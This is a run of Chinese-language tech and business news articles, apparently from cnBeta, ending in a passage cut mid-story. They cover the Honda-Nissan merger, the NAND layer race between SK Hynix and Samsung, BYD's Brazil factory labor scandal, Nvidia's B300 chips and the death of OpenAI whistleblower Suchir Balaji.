另外，考虑到这两家在纯电技术上存在较多差异，纯电车或将成为未来（合并后）两家品牌区隔的重要因素。这也会让双方的电动化技术方面的融合，产生一定程度的障碍吧。 而在智舱和智驾部分，软件研发能力愈发关键。本田、日产都需要强化软件开发，在智能座舱系统、智能驾驶系统方面尽快突破，以便追赶上第一梯队。  这也包括，全力投入只能驾驶技术的研发与测试，积累海量路测数据，迭代算法，毕竟，作为智能化的主导，中国市场更新迭代的速度是非常快的，而且不会给本田和日产更多的时间窗口。国内已经从端到端向VLA挺进了，本田和日产差的功课太多。可想而知，这一愿景的兑现，困难重重。 如果想要拿到更多的份额，本田和日产在中国市场的本土化研发整合，就成为非常关键的步骤。 这就涉及到了中国市场整合的难题。国内，日产有一家合资公司，而本田有东风本田和广汽本田两家合资公司，如果要整合，首当其冲就是股权和人的问题。接着，技术上的整合也是难点。怎么来用双方的优势互补而不是劣势放大等等。 不出意外，本田和日产、三菱的整合之路会荆棘满布，业务重叠难题、原有合作关系纠葛，都是严峻考验。仅从文化冲突来说，日产的“联盟”文化与本田的“独立研发”理念就存在差异，可能影响整合效率。究竟能整合成什么样，现在都是未知的，三年后再看。  乘联会秘书长崔东树也不看好本田和日产合并，他表示，“本田和日产均需要技术创新和把自身技术升级，而不是简单的规模化协同降低制造成本。两家公司之间很难找到协同效应，按照日产前CEO戈恩的理解：两家公司几乎没有互补的地方，这是绝望之局，并非一笔务实的交易。” 当然，理想的状态是，一旦整合顺遂，规模与协同效应释放，加上在电动化、智能化赛道全力冲刺，也有望重新确定合并后的“日·本”或者说“田·产”在全球汽车行业的座次。 作者丨王小西 责编丨曹佳东 编辑丨何增荣 [查看评论](https://m.cnbeta.com.tw/comment/1466422.htm)

**于NAND方面，甚至在包括NAND和DRAM在内的存储方面，SK海力士过去多年无论是在技术还是市场份额一直以来都是落后于韩国竞争对手三星。**但据韩媒Businesskorea在10月底的报道透露，得益于在HBM上的成功，SK 海力士半导体业务部门的年度营业利润将首次领先于 。这一发展标志着全球半导体行业竞争格局的重大转变，三星在该行业传统上占据主导地位。（具体细节可以参考我们之前的文章《韩国芯片，变天了》） [](https://static.cnbetacdn.com/article/2023/0809/1dcdf0d8a865730.jpg) 但现在，三星的另一个固有阵地NAND，也正在面临SK海力士的冲击。作为NAND 市场的领导者，据相关报告披露，截止2024年二季度，三星占有NAND市场 36.9% 的份额。但作为追逐者的SK海力士（涵括SK Hynix 和 Solidigm ），其在全球NAND市场的份额从2020年的11.7%增长到2024年第二季度的22.5%。报告进一步指出，如果这一趋势持续下去，单纯SK海力士的年市场份额预计将在 2024 年首次超过 20%。 在新的NAND发布之后，SK海力士打出了追逐三星的重要一枪。 **321层TLC NAND闪存，首超三星** 据韩媒上月的报道，SK Hynix 刚刚超越了竞争对手三星。这家全球第二大内存芯片制造商已成为业内第一家量产 321 层三层单元 NAND 的公司。这一进步将以实惠的价格实现更高容量的内存。 SK Hynix 最近发布了其新的 1 兆位 4D NAND 芯片，创下了新纪录。该公司势头强劲，不到一年前它还率先推出了 238 层 NAND。与之前的发布一样，321 层的突破意义重大，因为它可以显著提高消费者和企业 SSD 的存储密度。 密集排列的芯片可能使容量超过 100TB 的 SSD 价格更便宜。这种 NAND 将特别适用于人工智能数据中心，尽管其他需要高能效存储且性能要求高的应用也应该会从中受益。 SK Hynix 利用巧妙的工艺优化，将 300 多个层塞入单个 NAND 中。该公司的新“Three Plugs”技术通过优化的电气连接工艺同时连接三个存储层垂直通道。该工艺以出色的制造效率而闻名，并利用具有自动对准校正功能的低应力材料。 然而，连接所有这些层会产生应力和对准问题，SK Hynix 必须克服这些问题。该公司通过开发新的低应力材料和自动对准校正来克服这一问题，以便在制造过程中保持一切井然有序。 新工艺还通过重复使用与 238 层 NAND 相同的平台，将生产效率与上一代产品相比提高了59%。这些效率改进意味着市场上性能更佳、成本更低。该公司声称，与 238 层 NAND 相比，新的 321 层芯片的数据传输速度提高了 12%，读取速度提高了 13%，能效提高了 10% 以上。 SK 海力士计划逐步扩大 321-high 产品的使用范围，瞄准需要低功耗和高性能的新兴人工智能 (AI) 应用。SK 海力士 NAND 开发主管 Jungdal Choi 表示，这一进步使该公司更接近引领 AI 存储市场，其中包括用于 AI 数据中心和设备上 AI 的固态硬盘 (SSD)。他指出，SK 海力士正在通过扩大其在超高性能 NAND 领域的产品组合以及以高带宽内存 (HBM) 为主导的 DRAM 业务，向成为综合 AI 内存提供商的方向迈进。 韩媒Chosun Biz指出，虽然 SK 海力士在 NAND 市场份额方面仍落后于三星，但它在垂直堆叠单元技术方面处于领先地位，这表明 NAND 市场可能会发生重大变化。 面对这个发布，三星强势回击。 **三星正在开发 400 多层 3D NAND** 据消息报道，三星目前正在开发286 层的第九代 3D NAND ，并正在开发 400 层技术。这是通过 2025 年 IEEE 国际固态电路会议议程发布透露。 据介绍，这款 1 兆位 NAND 芯片的密度为 28 Gb/mm2，层数超过 400 层，采用三级单元 (3b) 格式，将成为三星 V-NAND 技术的第十代产品。第九代芯片采用双串堆叠，有 2 x 143 层，有 TLC 和QLC（4 位/单元）两种格式。第九代 V-NAND 支持高达 3.2 Gbps 的数据速度，而新的 400 层以上技术则支持每针 5.6 Gbps，速度提高了 75%。该速度似乎既适合 PCIe 5，也适合两倍快的 PCIe 6 互连。 在400层的NAND上，预计将采用三层堆栈架构，而不是当前的双层堆栈设计。这一进步充分利用了三星在层数方面的领先优势，因为它是唯一一家能够在单个堆栈中生产超过 160 层的公司，而竞争对手只能达到 120-130 层。如果三星选择三层堆栈方法，该公司可以实现惊人的 480 层。  其中，“WF-Bonding”则是三星实现这个层数的关键技术。据介绍，这是一项名为晶圆到晶圆键合的技术，其中两个单独的 NAND 晶圆（其上已制造单元和/或电路）相互连接。这种键合使每个晶圆的制造工艺在可扩展性、性能和产量方面得到优化。 三星表示，这种方法将实现具有大存储容量和出色的硬盘性能的“超高”NAND 堆栈，非常适合 AI 数据中心的超高容量固态硬盘 (SSD)。据该公司称，这款芯片被被称为键合垂直NANDFlash，或BV NAND，是“人工智能的梦幻NAND”。 2013年，三星率先推出V NAND芯片，推出垂直垂直存储单元——这是一个完整的产品。据三星称，其BV NAND单位面积密度提高1.6倍。 三星计划于 2027 年推出 V11 NAND，进一步开发其速度惊人的技术，将数据输入和输出提高 50%。该公司还计划推出SSD订阅服务，面向希望管理高昂AI半导体投资成本的科技公司。 除了400层NAND之外，三星电子明年还将增加其先进产品线的产量，双重回应。该公司计划在平泽园区安装新的第9代（286层）生产设施，月产能为30，000至40，000片晶圆。此外，在中国西安工厂，三星将继续将128层（V6）NAND生产线转换为236层（V8）产品工艺。 **其他厂商的亦步亦趋** 由于分层竞争激烈，预计2025年NAND时代将进入400层，2027年将达到1000层。韩国业内专家认为，三星、SK海力士、美光等都将在2025年推出400层NAND产品。至于1000层NAND ，也是包括铠侠在内所有NAND厂商的目标。 首先看美光方面，早在2022年，他们就发布了将NAND层数增加到 400 层以上的路线图。  据报道，在这个产品中，他们将使用双堆叠技术——是指将两个 3D NAND 芯片堆叠在一起，即所谓的“串堆叠”。这克服了半导体制造中的难题，例如随着层数的增加，需要在层间蚀刻连接孔。随着孔深度的加深，这些孔的侧面可能会变形，并阻止 NAND 单元正常运行。 美光表示，其重点是 QLC（4 位/单元）NAND，但并未提及使用PLC（五级单元）将单元位数增加到 5 ，西部数据正在研究此技术，Soldigm 正在开发。我们认为这是因为美光很谨慎，而不是因为 PLC NAND 不可行而拒绝了它。 西部数据则认为，层数稍高并不具有内在优势，因为它正在横向缩小单元尺寸（宽度和长度），并通过增加层数来增加芯片高度。这两种技术的结合意味着它可以将芯片密度提高到与竞争对手相同或更高的程度，并且层数更少。 往下走，1000层也成为了厂商的目标。 例如铠侠在今年于首尔举行的国际内存技术研讨会上表示，公司制定了雄心勃勃的路线图，到 2027 年实现惊人的 1，000 层 3D NAND 闪存。三星之前也曾表示，计划在 2030 年之前开发出层数超过 1，000 层的 NAND，但要实现这一目标绝非易事。 据日本媒体 PC Watch报道， Kioxia 的预测是基于过去的趋势推断，并改进了现有的 NAND 单元技术。该公司预计，NAND 芯片密度将在三年内达到 100 Gbit/mm2，存储单元层数为 1，000。要实现这一目标，增长率必须保持在每年1.33 倍。 至于三星方面，韩国科学技术院 (KAIST) 的研究人员此前曾展示其关于使用 Hafnia 铁电体作为 1，000 层以上 QLC NAND 的“关键推动因素”的研究成果，这将是非挥发性存储领域的分水岭成就，这也被认为是三星可能的技术方向。 正如 Wccftech所指出的，对 Hafnia 铁电体的研究具有开创性，而且距离实现仍需数年时间，因为尽管研究仍在进行中，但该技术尚未完全被理解。然而，如果它被证明足够可靠，可以取代现有技术，那么它就可以制造出更小的电子元件。尽管三星没有直接参与这项研究，但据报道，从事这项研究的团队与三星是一致的。据信，如果取得足够的成果，他们所做的工作将在某个时候直接转移到三星的实验室。 然而，扩展到四位数的层数并非易事。据存储新闻网站Blocks &amp; Files称，使用 3D NAND 实现更高密度不仅仅是在芯片上添加更多层。每层都需要一个暴露的边缘来实现存储单元之间的连接，从而形成阶梯状的芯片轮廓。因此，随着层数的增加，阶梯结构占用的面积会大幅增加，从而抵消部分密度增益。 为了弥补这一点，内存制造商需要在向 QLC NAND 过渡时纵向和横向缩小 NAND 单元，与当今的 TLC 技术相比，每个单元可容纳 4 位。随着层的增加，通道电阻和信号噪声也成为成长的烦恼。 总之，NAND Flash的竞争，方兴未艾。 [查看评论](https://m.cnbeta.com.tw/comment/1466420.htm)

刚刚过去的11月，比亚迪打破了历史记录，成功跻身巴西汽车销量榜前九名。这家全球前十的汽车厂商，正在进军全球主要市场，当然也包括巴西。2023年，巴西超过加拿大，经济总量全球排名第九，具备广大的汽车市场空间。比亚迪正在巴西紧锣密鼓的建厂，希望拿到这块蛋糕。今年3月，比亚迪位于巴西的工厂正式投入建设，计划于2025年初开始生产。这家工厂的投资总额达到了45亿元人民币，预计将为巴西创造5000个就业机会。 工厂预计占地100万平方米，这一规模对巴西政府和比亚迪来说，都是一个极具前景的宏伟蓝图。据悉，早在2014年，比亚迪就在巴西成立分公司，打算深耕这一市场。  但是，这个工厂的建设最近却被叫停了，原因令人错愕。 **巴西劳工部官网显示，巴西劳工部（MPT）联合当地检察等六个部委组成联合调查组，对比亚迪在巴伊亚州卡马萨里市工厂中，163名名工人进行了转移，安置到当地酒店。工厂宿舍和工地已被封锁，直至工厂全面整改完成才能解封。**  来源巴西劳工部（MPT） 根据巴西劳工部官方文件的描述，该工厂华人员工工作生活环境恶劣，“饮用不洁净水源”，“31人公用一个厕所，必须4点起床排队”，“没有冷藏设备储存食物（巴西是夏天）”“没有防护在有毒废料里工作”，“超时工作，没有年假，有人眼部受伤但连续工作了25天”。较为恶劣的是，“施工方扣押了工人护照，工资只发40%”，导致工人无法离境，形同监禁。**巴西劳工部检察办公室文件中甚至使用了“有辱人格”这样严肃的字眼。**  来源 Brasil **然而奇怪的是，在该工厂工作的巴西籍员工则严格执行8小时工作制，35天年假制度，加班有加班费。** 12月23日，比亚迪巴西分公司就该事件发表申明：“过去几周，公司一直对所有分包公司员工的工作生活条件进行了详细的调查，多次通知外包公司做出必要调整。”据悉，施工方为金匠建设集团，此前曾于比亚迪多次合作。该工地共有470人，目前被转移安置的有163人，此前曾是福特工厂，2年前被比亚迪购入。 也有当地员工在抖音等平台发声，**称“这个事情是巴西人搞得鬼，他们想在这里上班，所以就把我们整跑。”**  也有在国内工地工作的员工对作者说：“这其实就是国内工地现状，住的都是临时板房，工程结束就撤了。” 也有当地工作的车企员工表示，“超时工作”、“没收护照”、“强迫劳动”等行为已经严重违反了巴西当地的法律。巴西官方一直非常关注劳工保障。以前也有中资企业在当地发生类似情况。 “在劳动环境和工作强度方面，国内外要求差别较大，出海企业要注意”。财新网援引车企人士表示。 一份附有手写签名及手印的员工声明显示，事件的起因涉及107位员工需金匠公司协助办理巴西临时身份证。为此，公司临时收集了这些员工的护照，以便后续进行相关手续处理。然而，在劳工部门的一次现场检查中，这批护照被发现在金匠公司的柜子内，导致检查人员误以为公司统一没收了所有护照，且未接受公司解释，错误地判断这些员工的人身自由受到限制。 比亚迪集团品牌及公关处总经理李云飞也于今日午间转发微博表示，“欲加之罪，何患无辞！在抹黑中国品牌、抹黑中国，以及企图破坏中巴友谊的事情上，见识了境外相关势力如何恶意关联、蓄意抹黑，国内部分自媒体如何里应外合，相信大家的眼睛是雪亮的！”  2022年之前，全球汽车出海最多的是日本。日本本土每年会生产800万辆左右汽车，其中一半会出口到海外市场，而生产厂已经遍布全球的日系车企在海外的年产量加起来要超过1600万辆，以2022年底日本汽车工业协会公布的数据，日本汽车企业在海外拥有179个整车及零部件基地，遍布欧洲、亚洲、非洲、北美、拉美。 **2023年至今，中国企业“以华代日”，成为全球汽车出口量最大的国家**。比亚迪新能源，截止2024年6月，已经进入了巴西、德国、日本、泰国等77个国家和地区，在2023年一共卖出了24万辆汽车。 而今年截止8月则已在海外卖出26.49万辆，直指年底50万辆的目标。比亚迪深谙日系车打法，率先在亚非拉等地布局新能源产业。 比亚迪在泰国，2024年，1-5月上牌量已经有12895辆，在售的三款车ATTO 3、海豚、海豹都是纯电榜前五的存在；作为对比，丰田在泰国主推的主力纯电车bZ4X，3月仅售出2辆；还有日产LEAF，也是单月个位数。可以说，在泰国新能源市场，比亚迪已完成了“以华代日”。 在巴西市场，比亚迪上半年已经卖出了32562辆。不过作为美国的后花园，拉美汽车市场一直是菲亚特、大众、通用等欧美品牌的主要市场，丰田等日系车在这里属于第二梯队。不过无论丰田还是通用，主要在巴西销售油车，新能源市场是一片蓝海。同时巴西还对15万以下低价车型有税收减免。 新能源加低价车，这两项利好完美契合比亚迪的造车策略，巴西市场迎来增长也就不奇怪了。  不光是比亚迪，其他国内车企也在布局巴西市场。纯电市场的各品牌份额来看，2024上半年比亚迪、长城、吉利的份额分别为 80.4%、13.3%、4.1%，可以说中国品牌垄断 巴西纯电市场，其中比亚迪份额超 80%，龙头地位显著。 **可以说，以比亚迪为代表的国产车尤其是新能源车型，正在全球范围内快速取代日系成为新的汽车出口之王。** 不过随着全球经济下滑和保护本国汽车产业，巴西政府也开始逐年增加汽车进口关税。2023 年 11 月，巴西决定自 2024 年 1 月起 重新征收新能源汽车进口关税并且税率将逐步提升，最终达到 35%，新能源汽车免税配额也将逐步减少。新能源汽车关税的提升，开始倒逼比亚迪等中国车企加速巴西本地化产能建设。 但是**当地建厂，打铁还需自身硬**。除了出海之路遇上的关税壁垒，中国企业首先要做的是合法合规，尊重所在地区劳工保障等法律规定，以及当地民风民俗，不能把国内对待工人996、低福利的不正之风散播到世界各地，那不是汽车出海，那叫丢人现眼。 而如果被定义为“强迫劳动”等严重违法各国劳动法规，以及国际劳工组织定义的违规行为，那么不仅涉事企业会被当地劳动部门调查，对整个中国汽车产业链来说，则会被打入负面清单。最严重的情况，会被禁止交易。  国际劳工组织是联合国下属机构，主旨为促进社会正义，促进体面工作。目前有187个成员国，中国在列。 以欧洲市场为例，欧盟要求中国主机厂生产的电动车或者电池，要开展“供应链尽职调查”。也就说，车企在车辆的生产过程中，如果产生环保、人权（劳动保障）等方面存在违法欧盟法律的违法行为，即便产地是在国内，也将面临调查处罚甚至是禁售。 也许你会疑惑，为什么欧美愿意抓着国内工厂或者像比亚迪一样的海外工厂抓着不放？ **事实是如果工厂、供应链爆发了大规模环境保护和劳工问题，对于企业的利益是最直接的损伤。** 2011年，由于超时加班、打骂员工等恶劣问题，给苹果代工的富士康发生了令人震惊的“富士康13连跳”事件。该事件波及苹果公司，导致当年苹果股价大跳水，欧美等国爆发了大规模抵制苹果产品的活动。 苹果报告披露，由于富士康员工跳楼事件影响过大，乔布斯派遣当时的苹果“二号人物”Tim Cook紧急造访富士康深圳工厂，他们会见了郭台铭和1000多名员工，了解工厂的环境条件，评估了富士康应对紧急措施的到位情况，以防更多自杀事故的发生。 库克与自己的团队对此提出了建议，包括培训心理辅导人员、将厂址迁移到内陆省市以让员工离家更近等，这些都被富士康采纳，并已经付诸行动。 可以认为，如果没有苹果的压力，富士康不会把工厂迁到河南等内地。因为按照当时的测算，沿海工厂距离港口更近，交通、用工成本等都要比内陆工厂更便宜，预计每年可以节省成本约2亿美金。这对代工厂来说不是小数字。但对苹果来说，代工厂如果上了负面清单，影响的是苹果的万亿美金市值，孰轻孰重？而这也是包括比亚迪在内中国车企共同面临的问题。  **比亚迪在国内常被诟病员工待遇差、工作环境恶劣，也曾因为工厂问题被勒令停业。** 2022年，湖南长沙雨花区的多位居民在网上控诉，称近期比亚迪长沙工厂附近有浓烈的刺激性气体，周围居民健康状况受到影响，上百名孩子出现不明原因鼻出血，成年人也伴有恶心呕吐、久咳不止等不适症状。 随后，比亚迪官方微博发布关于“长沙雨花区工业园排放导致周边居民投诉”的声明。  其中提到，比亚迪长沙雨花区工业园于2012年投产使用，园区排放符合国家相关法规及标准。在紧挨工业园区的部分居民区，或存在异味情况，公司已采取相关措施，并积极改善。申明中还强调，网传“排放超标引起流鼻血”的情况，属于恶意捏造关联，该企业已经报警，并将追究相关人员的法律责任。” 不过随后的新闻打了这张声明的脸。 2022年5月8日，长沙市委、市政府已成立调查组，组织政府职能部门、第三方检测机构以及相关专家，进驻比亚迪雨花区工厂展开调查。5月10日，比亚迪长沙工厂停业整顿。  比亚迪雨花区工厂是其DM—i系统在全国唯一的生产基地，可适配比亚迪全系新能源车型的动力系统，秦PLUS DM—i、宋MAX DM—i、元Pro等车型均搭载长沙工厂的产品。 **受停业整顿影响，比亚迪原定于22年发布的新车型不得已推迟到2023年，部分车型如秦PLUS推迟到了2024年上半年才上市。**  可以看到，汽车生产是一个集劳动密集、生产密集于一体的重资产行业，任何工厂和产线上的劳动保障、环保危机，都可能引发严重后果，轻则停业整顿，重则股价震荡甚至会被禁止交易。  曾经，比亚迪、长城等都是丰田等日系车最好的学生。王传福对“丰田精益生产”赞不绝口，特别是丰田的垂直整合理念。 “越细分地进行整合，整体的毛利就越会往上走。我们奉行垂直整合战略，自己设计自己造。”王传福在《经理人》杂志发文，称依靠垂直整合理念，他们把成本降到国际厂商的一半，但毛利提高了25%。 **但现在看来，比亚迪学丰田只学了一半。** **丰田一方面垂直整合供应链，所有零件自产自研。但另一方面，丰田执行了“年功序列”等提高员工福利的政策。**丰田认为，员工资格越长，工作经验越丰富，技能越高，因人才流失造成的损失越小，对公司文化的认同度越高，对公司发展的贡献也越大。  **留住人，除了最基本法定福利，丰田还在此基础上附加各项福利和激励政策，可以说是变着花样在给员工送钱，包括一线产线的普通员工，都能享受丰田的员工福利。**以四川一汽丰田公司为例，员工福利除法定“五险一金”外，还包括免费交通车、免费午餐、免费体检、免费服装 （如西服套装、防寒服、保暖内衣等） 、补充养老保险医疗保险、交通补贴、家属生老病死慰问、困难补助、员工生日蛋糕、结婚生育贺礼、团队活动费、传统节假日家属慰问、以及上述的年假、购房购车补贴、旅游补贴等，有几十种之多。 而比亚迪，众所周知，中秋发了俩可乐。  看起来，要让国产车企学会用提高工人待遇的方式提高汽车产品竞争力，任重道远。 [查看评论](https://m.cnbeta.com.tw/comment/1466418.htm)

英伟达老黄，成了今年的圣诞老黄。AI芯片大礼包刚刚曝光：GPU新核弹**B300**，以及附带CPU的超级芯片**GB300**。**高算力**，在产品层面上相比B200在FLOPS上提高50%**大显存**，从192GB提升到288GB，也是提高了50%。  **△**Grok AI绘图 包含72块GB300的“新一代计算单元**”GB300 NVL72**，更是被评价为“能让OpenAI o1/o3推理大模型的思维链长度，在高batch size下达到10万tokens的唯一方案”。 这与今年3月份“AI春晚”发布的B200系列**只隔了几个月**。 根据SemiAnalysis爆料，从第三季度开始，**许多AI巨头已经将订单从B200转移到了B300**（只有微软还在第四季度继续购买了部分B200）。 有不少网友感叹，更新速度实在太快了！ 既是解决了此前传闻中B200因设计缺陷被迫推迟的问题，又是对隔壁AMD MI300系列后续产品将在2025年提升显存容量的回应。  又一款AI核弹 既然都是Blackwell架构没有跨代，B300的算力提高来自哪里呢？ 根据这次爆料，主要有三部分： **工艺节点，**与B200使用同样的台积电4NP，但是全新流片 **增加功率，**GB300和B300 HGX的TDP分别达到1.4KW、1.2KW，相比之下B200系列分别提高0.2KW **架构微创新，**例如在CPU和GPU之间动态分配功率 除了更高FLOPS之外，B300系列的显存也做了升级： 从8层堆叠的**HBM3E**升级到12层（12-Hi HBM3E） **显存容量**从192GB升级到288GB **显存带宽**保持不变，仍为8TB/s 此外产品交付层面还有一个大变化： GB200系列提供整个**Bianca Board**，也就包括两颗GPU、一颗CPU、CPU的内存等所有组件都集成在一块PCB版上。  **△**GB200概念图 GB300系列将只提供**参考板**（Reference Board），包括两颗B300 GPU、一颗Grace CPU、HMC（Hybrid Memory Cube），**LPCAMM内存模块等组件将由客户自行采购**。 这给供应链上的OEM和ODM制造商带来了新的机会。 为推理大模型打造 显存的升级对OpenAI o1/o3一类的推理大模型至关重要，因为**推理思维链长度会增加KVCache**，影响batch size和延迟。 以一个GB300 NVL72“计算单元”为单位考虑时，**它使72个GPU能够以极低的延迟处理相同的问题，并共享显存**。 在此基础上从GB200升级到GB300，还可以带来许多好处： 每个思维链的延迟更低 实现更长的思维链 降低推理成本 处理同一问题时，可以搜索更多样本，最终提高模型能力  为了解释这些提升，SemiAnalysis举了个更为直观的例子。 下图是在不同批处理大小下，使用H100和H200两种GPU处理长序列时，Llama 3.1 405B在FP8精度下的处理速度。 输入设置为1000个token、输出19000个token，由此模拟OpenAI o1和o3模型中的思维链。  从H100升级到H200，有两个显著改进。 一是在所有可比较的batch size中，H200的内存带宽更大（H200 4.8TB/s，H100 3.35TB/s），从而使得处理效率普遍提高了43%。 二是H200可运行更高的batch size，这使得其每秒可以生成的token数量增加了3倍，相应地，成本也减少了约3倍。 内存增加所带来的效益远不止表面上的这些。 众所周知，推理模型响应时间一般更长，显著缩短推理时间可以提高用户体验和使用频率。 而且内存升级实现3倍性能提升，成本减少3倍，这一提升速度也远超摩尔定律。 除此之外，SemiAnalysis还分析观察到，能力更强和具有明显差异化的模型能收取更高的溢价—— 前沿模型毛利率超70%，而还在与开源模型竞争的次一级模型毛利率不足20%。  当然，英伟达并不是唯一一家能增加内存的芯片公司，但奈何英伟达还有杀手锏**NVLink**。 One More Thing 英伟达消费级显卡方面，RTX5090的PCB板也首次曝光了～ 就在昨天，一张RTX 5090 PCB照片在网上疯转。 特点就是超超超大号。  结合此前爆料称5090有可能会配备**32GB大显存**，有望支持8K超高清游戏，实现60fps的流畅游戏体验。 网友们直接坐不住。 关于5090的发布时间，大伙儿猜测大概会是1月6日老黄CES演讲的时候。  [查看评论](https://m.cnbeta.com.tw/comment/1466416.htm)

OpenAI举报人死去一个月，死者家属终于等到了OpenAI的官方回应，网友们直接看怒了！而死者母亲的采访中透露出更多惊人的关键信息：Balaji死前的一两天，还在外出度假，和朋友们欢庆自己的26岁生日，没有财务压力的他还立志要做医疗AI公益。  举报人去世整整一个月后，沉默许久的OpenAI终于给出了官方回应。 他们发布了一篇公告，解答了公众对于“前队友”的种种疑问。 我们得知这一悲痛的消息后深感震惊，并已与Suchir的家人取得联系，在这个困难时期向他们提供全力支持。我们目前的首要任务，是继续尽一切努力为他们提供帮助。 Suchir是我们团队中一位备受尊重的成员，他的离世对与他密切合作的同事们造成了重大打击。 我们首次得知他的担忧，是在“纽约时报”发表他的评论时，那之后，我们并未与他有任何进一步接触和互动。我们尊重他以及其他人自由表达观点的权利。 我们向Suchir的亲人致以最深切的慰问，并向所有为他的离世而哀悼的人们，表达我们最深的哀悼之情。  不过，这份不痛不痒的声明让围观群众们怒了！ 11月26日，Suchir Balaji在旧金山公寓中被发现死亡；12月中旬，各媒体相继发布消息，引爆热搜。 如今十余天后热度稍稍过去，OpenAI官方才选择发声，甚至行文中的重点是撇清干系。 可以看出，网友们的留言中，充满了愤怒和质疑。    上下滑动查看 就在同时，外媒Business Insider也放出了对Balaji母亲Poornima Ramarao的独家采访，他的父母悲痛表示，对于儿子之死，希望官方继续展开调查。  开始，他相信AI能造福社会 Suchir Balaji最初被注意到，是他公开反对OpenAI。 在接受“纽约时报”采访时，他举报说这些AI科技巨头可能正在违反版权法。 在OpenAI，Balaji曾帮忙收集和整理互联网上的数据，用于训练模型。但他认为这种做法不公平，于是在8月辞去了公司职务。 11月，“纽约时报”对OpenAI提起版权侵权诉讼时，他被认定是“掌握关键证据”的人。 如果你相信我所相信的，你就必须离开这里。 11月26日，Balaji刚刚度过自己的26岁生日。这个前途大好的年轻工程师，在自己的公寓中被发现死亡。 这一悲剧，也让全世界互联网震惊。 如果真的是自杀，这个鲜活的生命，这个聪明又有志向的年轻人，为什么会做出这种选择？ 在采访中，Balaji的母亲Poornima Ramarao提供了一些线索。 她说，Balaji加入OpenAI，是因为相信AI能造福社会。 早期，他很希望这些模型是开源的，让全世界用户和研究者都能自由使用和研究。 然而公司却越来越注重财务收益，ChatGPT发布后，他的希望彻底破灭了。这个年轻人从虔诚地相信公司使命，转变为担心其对出版商和整个社会的影响。 “他觉得AI对人类是有害的。” 加入OpenAI 母亲Ramarao回忆道，在Balaji成长过程中，他的父亲便认为其智商“高于平均水平”。但她却认为他就是个神童。 她表示，在他2岁的时候就能说出复杂的句子了。 “无论是在蹒跚学步时，还是5岁的小孩，他从不犯错。他是完美的”。  到了11岁，他开始接触儿童编程语言Scratch，这成了他进入编程世界的第一扇门。 令人惊讶的是，他很快就向身为软件工程师的母亲提出一些连她都难以回答的问题。 13岁学会自主组装电脑，14岁写出芯片设计的科学论文，这些成就都证明了他在技术领域的非凡天赋。 Balaji的父亲时常提醒Ramarao，别让孩子太投入了，也不要给孩子太大压力。  为了给他创造更多挑战机会，Balaji的父母选择转了学区。在高中最后一年，他在一场全美高中生编程比赛中获得冠军。 17岁时，知名在线知识分享平台Quora向Balaji抛出了橄榄枝。由于Ramarao非常反对这件事，他便偷偷隐瞒了申请一事。 然而，在工作第一天就露馅了，因为自己还不会开车，他不得已向母亲坦白了一切。 Ramarao表示，“我不得不开车送他去山景城的办公室”。  她原本非常担心，Balaji如何应对“这么多成年人”，但他很快就交到了一起打扑克的朋友，也很享受Quora丰富的员工餐厅。 这件事让Ramarao学会了信任Balaji。 她表示，“那时我才真正明白，我的儿子确实非常优秀。我不能成为他发展的阻碍”。 工作一年后，Balaji再次进入了加州大学伯克利分校就读。 在校期间，他参加了美国运输安全管理局（TSA）赞助的一项改进乘客筛查算法的挑战赛，并赢得了10万美元奖金。  在校期间第二年，Balaji以以实习生身份加入OpenAI，并在2021年毕业后转为全职员工。  崭露头角的天才 在OpenAI任职近4年期间，Balaji展现出了卓越的才能，从中脱颖而出。 在此期间，他参与了ChatGPT后训练阶段的研发，以及o1推理、GPT-4预训练，和WebGPT强化学习过程。  OpenAI前联合创始人John Schulman曾在一篇社交媒体帖子曾这样评价道，“他为ChatGPT的训练方法和基础设施做出了重要贡献”。 “他总是能仔细而严谨地思考问题的细节。而且他特立独行的性格使他对『群体思维』天生排斥，也让他热衷于挑战普遍共识中的谬误”。  值得注意的是，Balaji正式加入OpenAI的2020年，正值公司发展的重要转折期。 众所周知，OpenAI在2015年成立初将自身定位为一家非营利组织，并明确了使命是确保AI能造福全人类。 据母亲Ramarao透露，随着公司逐渐放弃开源理念，并转向商业化运营，Balaji的忧虑与日俱增。  她表示，“当公司在2022年11月公开发布ChatGPT时，Balaji开始重新审视其中的版权问题”。 据报道，那年Balaji的主要工作是从英语互联网各处收集数据，用于开发即将为ChatGPT提供支持的GPT-4模型。 在Balaji看来，这本应是一个纯粹的研究项目。 然而，正如他在一篇公开文章中所写，将他人的数据用于研究是一回事，而将其用于可能损害原创者收入或流量的商业产品则是另一回事。  对于Balaji提出的这些担忧，OpenAI并未作出回应。 在法庭上，OpenAI反而辩称其模型使用公开网络内容的方式受“合理使用”法律原则的保护。 太天真太单纯了 母亲Ramarao透露，到2023年底和2024年初，Balaji对OpenAI已失去所有热忱，开始在与亲朋好友的交谈中批评CEO奥特曼。 她表示，“曾经对工作充满热情的Balaji，如今却很少向家人提起工作的事”。 当Balaji在8月份提出辞职时，Ramarao选择了尊重他的决定。 2个月后，当她看到他的那篇震撼性专访后，她终于忍不住向Balaji表达了深深的担忧——你在揭露公司不当行为时，就是把所有风险都揽在了自己身上啊！  接着她又略显生气地说道： “你怎么能单打独斗呢？为什么要公开自己的照片？为什么要用真实姓名？你完全可以保持匿名的啊，何必要把自己暴露出来？” “这种事情应该集体行动。你应该找一些理念相同的人一起付诸努力。” Balaji却浅浅地回答道，“好的，好的，我明白。我已经在联系有共同想法的人，组建一个团队了”。 而在母亲看来，自己的孩子还是太单纯了，根本不了解这个复杂的商业世界。  死者父母：儿子之死充满疑点，要求继续调查 在8月离开OpenAI后，Balaji便给自己放了一个长假，并告诉家人“我现在并不打算去找新的工作，你们也别问了”。 在父母眼中，这位年轻的软件工程师似乎一切安好。 Balaji所持有的OpenAI股票，足够他在日后购置一套房产，经济上完全没有后顾之忧。 另外，他还计划创办一个公益机构，专注于医疗领域的机器学习。 在这位母亲看来，儿子一直怀揣着美好理想，希望为社会贡献自己的一份力量。 11月21日，度假中的Balaji与朋友们一起，庆祝了自己的26岁生日。 第二天，他告诉母亲自己回程航班的时间，还在晚饭前跟父亲通了电话。 父亲再次祝他生日快乐，告诉儿子已经寄出了为他准备的生日礼物。  根据Ramarao的说法，法医办公室确定Balaji于当晚或次日凌晨离世。 “他那时还那么开朗活泼，怎么可能短短几个小时之后，人就没了呢？” 11月25日到26日，Ramarao一直联系不上儿子。 她猜，他或许是手机不在身边，或者出去徒步了。 周一时，她去敲他的门，却无人应答。她本想报警寻人，但考虑到之后儿子还得亲自去警局撤销报案，就迟疑了。如果这样的话，儿子肯定会嫌自己多事。 第二天早晨，她拨通了旧金山警察局的电话。 